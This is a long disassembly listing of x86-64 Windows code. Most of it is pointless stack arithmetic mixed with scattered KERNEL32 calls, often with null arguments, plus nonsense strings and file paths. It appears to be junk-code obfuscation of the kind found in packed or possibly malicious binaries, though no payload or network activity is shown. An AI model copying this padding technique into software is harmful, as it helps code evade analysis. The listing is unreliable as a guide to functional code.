mov rcx, qword [rsp + 0xbe18]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa100]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov edx, 0x7c6571
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4bd8], eax
mov rax, qword [0x1401e78c8]
movzx eax, word [rax]
mov word [rsp + 0x11bc], ax
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4620], eax
mov rax, qword [rsp + 0xa260]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
sar eax, cl
mov word [rsp + 0xc34], ax
movzx eax, byte [rsp + 0xdb]
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0xa7c8]
mov ecx, dword [section..data]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4418], eax
mov eax, dword [rsp + 0x49a0]
mov rcx, qword [rsp + 0x91c0]
mov qword [rsp + 0xc3c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb478]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb520]
mov rax, qword [rax]
mov qword [rsp + 0xc3c8], rax
mov rax, qword [rsp + 0xb6d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xace0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb920]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0xbdf0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7497], al
movzx eax, word [rsp + 0xe48]
mov word [rsp + 0x11c0], ax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x9a98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac10]
mov byte [rcx], al
mov rax, qword [rsp + 0xb0c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc180]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x9a28]
movzx eax, byte [rax]
mov byte [rsp + 0x189], al
mov rax, qword [rsp + 0x9950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4728]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4960], eax
mov rax, qword [rsp + 0xa2f8]
mov qword [rsp + 0xc3d0], rax
mov dword [rsp + 0x20], 0x3523
mov r9d, 0x10e9
mov r8d, 0x2217
mov edx, 0x1979
mov rcx, qword [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4bdc], eax
mov rax, qword [rsp + 0xa9d0]
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb200], rax
movzx ecx, word [rsp + 0x1198]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb90], ax
lea rcx, [rsp + 0x254f8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc1f8]
mov rcx, qword [rsp + 0x9a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43cc], eax
mov rax, qword [rsp + 0xae50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc34]
and eax, ecx
mov rcx, qword [0x1401e7430]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, word [rsp + 0x1000]
mov word [rsp + 0x11c4], ax
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc38]
add eax, ecx
mov word [rsp + 0xbf4], ax
movzx eax, byte [rsp + 0x13a]
mov byte [rsp + 0x18a], al
mov rax, qword [rsp + 0xb218]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1070]
or eax, ecx
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0xbde8]
mov rcx, qword [rsp + 0xbf78]
mov qword [rsp + 0xc3d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaa58], rax
lea rax, [rsp + 0x4930]
mov qword [rsp + 0xc3e0], rax
mov eax, dword [rsp + 0x4bc8]
mov rcx, qword [rsp + 0xc0e8]
mov qword [rsp + 0xc3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x486c], eax
mov rax, qword [rsp + 0x9b18]
mov qword [rsp + 0xc3f0], rax
mov rax, qword [rsp + 0xab88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a50]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e6134], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xab58]
movzx eax, word [rax]
cdq
mov ecx, 0x9b1
idiv ecx
mov word [rsp + 0x1068], ax
movzx eax, byte [rsp + 0xa5]
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0xbfa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
add eax, ecx
mov byte [rsp + 0x53], al
lea rcx, str.ritualised_prejudicial_Rocking_Imparted
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xef0], ax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [0x1401e74d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0x9c08]
mov eax, dword [rax]
mov dword [rsp + 0x4be0], eax
mov rax, qword [rsp + 0xa138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xafb0]
mov qword [rcx], rax
lea rax, [rsp + 0xb628]
mov qword [rsp + 0xc3f8], rax
mov rax, qword [rsp + 0xb0e8]
mov rcx, qword [rsp + 0x9428]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4604], eax
movsx eax, word [rsp + 0xe4c]
mov rcx, qword [rsp + 0xb728]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1100], ax
movzx eax, byte [0x1401e607f]
mov byte [0x1401e74e3], al
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
mov word [rsp + 0x11c8], ax
movzx eax, byte [rsp + 0xb8]
movzx ecx, byte [rsp + 0x16e]
add eax, ecx
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0xb1]
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0xa2d0]
mov rcx, qword [0x1401e6020]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb520]
mov qword [rcx], rax
mov eax, dword [rsp + 0x43dc]
mov ecx, dword [rsp + 0x45a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac80]
mov dword [rcx], eax
lea rax, [rsp + 0x4ac4]
mov qword [rsp + 0xc400], rax
movzx ecx, word [rsp + 0xd94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf98], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xba80]
mov rcx, qword [rsp + 0xa390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa000], rax
movzx eax, word [rsp + 0xd14]
mov word [rsp + 0x11cc], ax
movzx eax, byte [rsp + 0x168]
movzx ecx, byte [rsp + 0x7a]
and eax, ecx
mov rcx, qword [0x1401e7970]
mov byte [rcx], al
mov rax, qword [0x1401e7628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x113]
or eax, ecx
mov byte [rsp + 0x17c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movzx eax, byte [rsp + 0x121]
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc060]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa6f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb650]
mov rcx, qword [rsp + 0xbae8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1f8], rax
mov eax, dword [rsp + 0x457c]
mov dword [rsp + 0x4be4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [rsp + 0x4344]
movzx ecx, al
mov eax, dword [rsp + 0x4844]
sar eax, cl
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc78]
mov qword [rsp + 0xc408], rax
mov rax, qword [rsp + 0xb2b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
sub eax, ecx
mov word [rsp + 0xbd8], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x231b
mov r9d, 0xe84
mov r8d, 0x7d898234
mov edx, 2
mov rcx, qword [rsp + 0xbb88]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4be8], eax
lea rax, [rsp + 0x1028]
mov qword [0x1401e79a8], rax
mov rax, qword [rsp + 0xbdb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [rsp + 0x167], al
mov rax, qword [rsp + 0xa8e8]
movzx eax, word [rax]
mov word [rsp + 0x11d0], ax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4414], eax
movsx eax, byte [rsp + 0xb3]
movsx ecx, byte [rsp + 0x119]
and eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0xb6c0]
mov eax, dword [rax]
mov dword [rsp + 0x4bec], eax
mov eax, dword [rsp + 0x4868]
mov ecx, dword [rsp + 0x4a34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b80], eax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xb200]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x92a8], rax
mov edx, 0x1994
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4b38], eax
mov rax, qword [rsp + 0xc320]
mov qword [rsp + 0xc410], rax
movsx eax, word [rsp + 0xce8]
movsx ecx, word [rsp + 0xc9c]
add eax, ecx
mov word [rsp + 0xe48], ax
mov rax, qword [rsp + 0xabd8]
movsx eax, word [rax]
movsx ecx, word [0x1401e6118]
add eax, ecx
mov word [0x1401e60c8], ax
mov rax, qword [rsp + 0xbab0]
movzx eax, byte [rax]
mov byte [rsp + 0x18e], al
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16b]
add eax, ecx
mov byte [rsp + 0xf4], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xc418], rax
mov rax, qword [rsp + 0xaaf8]
movzx eax, word [rax]
mov rcx, qword [0x1401e78a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc18], ax
lea rax, [rsp + 0xda]
mov qword [rsp + 0xc420], rax
mov rax, qword [rsp + 0xa5a0]
mov rcx, qword [rsp + 0xb040]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c0], rax
lea rax, [rsp + 0x9648]
mov qword [rsp + 0xc428], rax
mov rax, qword [rsp + 0x9498]
mov rcx, qword [rsp + 0xc0e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ae8], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rdx, [rsp + 0xc430]
mov rcx, qword [rsp + 0xbe30]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4454], eax
mov rax, qword [rsp + 0xac40]
mov eax, dword [rax]
mov dword [rsp + 0x4bf0], eax
mov rax, qword [rsp + 0x9eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb8]
or eax, ecx
mov word [0x1401e6138], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rdx, [rsp + 0x281f0]
mov rcx, qword [rsp + 0xbb80]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x438c], eax
mov rax, qword [rsp + 0xab50]
movzx eax, word [rax]
cdq
mov ecx, 0xc19
idiv ecx
mov word [rsp + 0x1148], ax
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb4d0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9118]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb08]
movzx eax, word [rax]
mov word [rsp + 0x11d4], ax
mov rax, qword [rsp + 0xa728]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc5]
shl eax, cl
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4bf4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xba70], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xc438], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9a68], rax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov qword [rsp + 0xc440], rax
mov rax, qword [rsp + 0xbb70]
mov ecx, dword [rsp + 0x4afc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x47c0], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4478], eax
movzx ecx, word [rsp + 0xe7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd60], ax
mov eax, dword [rsp + 0x4bf0]
mov ecx, dword [rsp + 0x4b58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a4c], eax
mov rax, qword [rsp + 0xc410]
mov qword [rsp + 0xc448], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:kentBlowpipes
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc450], rax
mov rax, qword [rsp + 0xb5f0]
movzx eax, word [rax]
mov rcx, qword [0x1401e77b8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x1401e78a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xade0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
sub eax, ecx
mov byte [rsp + 0x18c], al
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rax, [rsp + 0xf94]
mov qword [rsp + 0xc458], rax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
movzx ecx, word [0x1401e76a0]
sub eax, ecx
mov word [rsp + 0xcf4], ax
movzx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0x9868]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x94a8]
mov byte [rcx], al
lea rax, [rsp + 0x44a4]
mov qword [rsp + 0xc460], rax
mov rax, qword [rsp + 0xc0a8]
mov ecx, dword [rsp + 0x4a0c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa0a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1a0]
mov rax, qword [rax]
mov qword [rsp + 0xc468], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x9a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xbd]
mov rcx, qword [rsp + 0xb850]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e609f], al
mov rax, qword [rsp + 0x9f58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe08]
add eax, ecx
mov rcx, qword [rsp + 0xb440]
mov word [rcx], ax
lea rax, [rsp + 0x11c4]
mov qword [rsp + 0xc470], rax
mov rax, qword [rsp + 0xc150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ca8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x115], al
lea rax, [rsp + 0x10f]
mov qword [rsp + 0xc478], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0xaf70]
mov rcx, qword [rsp + 0xaa18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x423c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xc480], rax
lea rdx, [rsp + 0x4550]
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e0], eax
mov eax, dword [rsp + 0x4950]
mov dword [rsp + 0x4bf8], eax
mov rax, qword [rsp + 0xaaa0]
movzx ecx, al
mov rax, qword [rsp + 0xa598]
shr rax, cl
mov qword [rsp + 0x9cf8], rax
mov rax, qword [rsp + 0xab60]
mov rcx, qword [rsp + 0xb1a0]
mov qword [rsp + 0xc488], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc488]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa028], rax
movzx eax, word [rsp + 0xe3c]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e7840], ax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0xc490], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4774], eax
movsx eax, word [rsp + 0x1180]
movsx ecx, word [0x1401e6118]
and eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd9]
mov byte [rsp + 0x18f], al
mov rax, qword [rsp + 0x94a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17d]
sub eax, ecx
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0x9fb0]
mov rcx, qword [rsp + 0xa870]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb460], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:_tilted_reddest
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc498], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0x49e4]
mov qword [rsp + 0xc4a0], rax
mov eax, dword [rsp + 0x4868]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xadd8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0xaac0]
mov qword [rsp + 0xc4a8], rax
lea rax, [0x1401e60a0]
mov qword [0x1401e79b0], rax
mov rcx, qword [rsp + 0xa5b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4bfc], eax
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe4]
sub eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, byte [rsp + 0x142]
movsx ecx, byte [0x1401e741a]
and eax, ecx
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x119]
mov byte [rsp + 0x190], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x48b0], eax
mov rax, qword [rsp + 0xbc18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov rcx, qword [rsp + 0xb180]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd10]
mov rax, qword [rax]
mov qword [rsp + 0xc4b0], rax
mov eax, dword [rsp + 0x4838]
mov ecx, dword [rsp + 0x4618]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbcb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa500]
mov rax, qword [rax]
mov qword [rsp + 0xc4b8], rax
xor r9d, r9d
lea r8, [rsp + 0xbd88]
mov rdx, qword [rsp + 0xabd0]
mov rcx, qword [rsp + 0xb6a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4700], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb988]
mov rcx, qword [rsp + 0xb068]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47c0], eax
movsx eax, word [0x1401e6044]
movsx ecx, word [rsp + 0x106c]
add eax, ecx
mov rcx, qword [0x1401e79a8]
mov word [rcx], ax
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4aac], eax
mov rax, qword [rsp + 0xb440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdf0]
xor eax, ecx
mov rcx, qword [rsp + 0xb4b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb8f8]
movzx eax, byte [rax]
mov byte [rsp + 0x191], al
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x127]
movsx ecx, byte [rsp + 0xd4]
shl eax, cl
mov rcx, qword [rsp + 0xa2f0]
mov byte [rcx], al
lea rax, [rsp + 0xd40]
mov qword [rsp + 0xc4c0], rax
mov eax, dword [rsp + 0x44c8]
cdq
idiv dword [rsp + 0x4afc]
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
mov eax, dword [rsp + 0x46f4]
mov rcx, qword [rsp + 0x97a8]
mov qword [rsp + 0xc4c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc4c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9950]
mov dword [rcx], eax
lea rax, [rsp + 0xace0]
mov qword [rsp + 0xc4d0], rax
mov rax, qword [rsp + 0xc2f8]
mov rcx, qword [rsp + 0xac38]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa238]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xdc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11d8], ax
mov rax, qword [rsp + 0xab50]
movzx eax, word [rax]
mov word [0x1401e79b8], ax
mov rcx, qword [rsp + 0xa5b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0xff]
mov byte [rsp + 0x192], al
movsx eax, word [rsp + 0x104c]
movsx ecx, word [rsp + 0xf68]
and eax, ecx
mov rcx, qword [rsp + 0x9da0]
mov word [rcx], ax
lea rcx, [rsp + 0x2a800]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4954], eax
mov rax, qword [0x1401e7768]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1010]
imul eax, ecx
mov word [rsp + 0xfd8], ax
lea rax, [rsp + 0xea]
mov qword [rsp + 0xc4d8], rax
mov rax, qword [rsp + 0x91d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4930]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43e8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4754], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xba20]
mov rax, qword [rax]
mov qword [rsp + 0xc4e0], rax
mov rax, qword [rsp + 0x9f60]
mov rcx, qword [rsp + 0xab38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb460], rax
mov rax, qword [rsp + 0x9d90]
mov rcx, qword [rsp + 0x9a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa758]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaea0]
movzx eax, word [rax]
mov word [rsp + 0x11dc], ax
movsx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0xa198]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6073], al
mov rcx, qword [rsp + 0xad60]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4bd0], eax
movzx eax, byte [rsp + 0x122]
movzx ecx, byte [0x1401e606b]
sub eax, ecx
mov rcx, qword [rsp + 0xb3c8]
mov byte [rcx], al
lea rcx, [rsp + 0x26a88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xa530]
movzx eax, word [rax]
mov word [rsp + 0x11e0], ax
mov rax, qword [rsp + 0xad40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc40]
imul eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4b2c]
mov dword [rsp + 0x4c00], eax
mov rax, qword [rsp + 0xbf50]
mov rcx, qword [rsp + 0xa028]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb6f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbcb8]
mov ecx, dword [rsp + 0x4528]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45e4], eax
lea rax, [rsp + 0x9670]
mov qword [rsp + 0xc4e8], rax
movzx eax, byte [0x1401e743b]
movzx ecx, byte [rsp + 0xa3]
sub eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0xc2e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
add eax, ecx
mov byte [0x1401e74e3], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xc4f0], rax
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov word [rsp + 0x11e4], ax
movsx eax, word [rsp + 0xc3c]
movsx ecx, word [rsp + 0x1108]
shl eax, cl
mov rcx, qword [rsp + 0xabd8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb0]
movzx ecx, byte [rsp + 0x14f]
sar eax, cl
mov byte [rsp + 0xbe], al
lea rax, [rsp + 0x4b54]
mov qword [rsp + 0xc4f8], rax
mov rax, qword [rsp + 0xa5d0]
mov rcx, qword [rsp + 0xc190]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9e00], rax
mov r9d, 1
lea r8, [rsp + 0xc368]
mov rdx, qword [rsp + 0xada8]
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49d8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3766
mov r9d, 0x28bf
mov r8d, 0x146fece2
mov edx, 1
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4c04], eax
lea rax, [rsp + 0x43b0]
mov qword [rsp + 0xc500], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa360], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [rsp + 0xa290]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd90], ax
movsx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [str.M__n_], al
lea rcx, [rsp + 0xa568]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x1401e7528]
movzx eax, byte [rax]
mov byte [rsp + 0x193], al
